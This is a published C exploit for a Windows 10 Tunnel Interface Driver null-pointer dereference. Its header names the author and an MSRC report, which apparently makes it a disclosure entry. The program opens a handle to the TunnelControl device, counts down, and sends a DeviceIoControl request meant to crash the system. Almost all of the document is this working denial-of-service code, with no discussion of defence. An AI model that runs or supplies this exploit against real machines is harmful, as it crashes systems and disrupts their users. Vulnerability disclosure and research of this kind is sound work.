Tunnel Interface Driver Denial Of Service

// Exploit Title: Tunnel Interface Driver - Denial of Service// Date: 07/15/2022// Exploit Author: ExAllocatePool2// Vendor Homepage: https://www.microsoft.com/// Software Link: https://www.microsoft.com/en-us/software-download/windows10// Version: Windows 10 Pro Version 21H2 (OS Build 19044.1288)// Tested on: Microsoft Windows// GitHub Repository: https://github.com/Exploitables/MSRC-1#include <Windows.h>#include <stdio.h>#define TARGET_DEVICE "\\\\.\\GLOBALROOT\\Device\\TunnelControl"int main(int argc, char** argv);int main(int argc, char** argv){  HANDLE h_driver = CreateFileA(TARGET_DEVICE, 0x80, 0, 0, OPEN_EXISTING, 0, 0);  unsigned long long input_output = 0x4242424242424242;  unsigned long bytes_returned = 0x43434343;  unsigned char unused = 0;  SetConsoleTitleA("https://msrc.microsoft.com/");  printf("[*] Microsoft Security and Response Center Report #1\n[*] Microsoft Tunnel Interface Driver Null Pointer Dereference Denial of Service Vulnerability\n[*] Exploit written by ExAllocatePool2\n[!] Let's exploit!");  if (h_driver == (HANDLE)-1)  {    printf("\n[-] Failed to obtain a handle to the vulnerable device driver. Error: %d (0x%x)", GetLastError(), GetLastError());    unused = getchar();    return 1;  }  printf("\n[+] Obtained a handle to the vulnerable device driver. Handle Value: 0x%p", h_driver);  printf("\n[!] Triggering a denial of service via arbitrary read in 3...");  for (int i = 2; i > 0; i--)  {    Sleep(1000);    printf("\n[!] %d...", i);  }  DeviceIoControl(h_driver, 0, &input_output, 8, &input_output, 8, &bytes_returned, 0);  unused = getchar();  printf("\n[-] Exploit failed. The machine should have crashed.");  return 0;}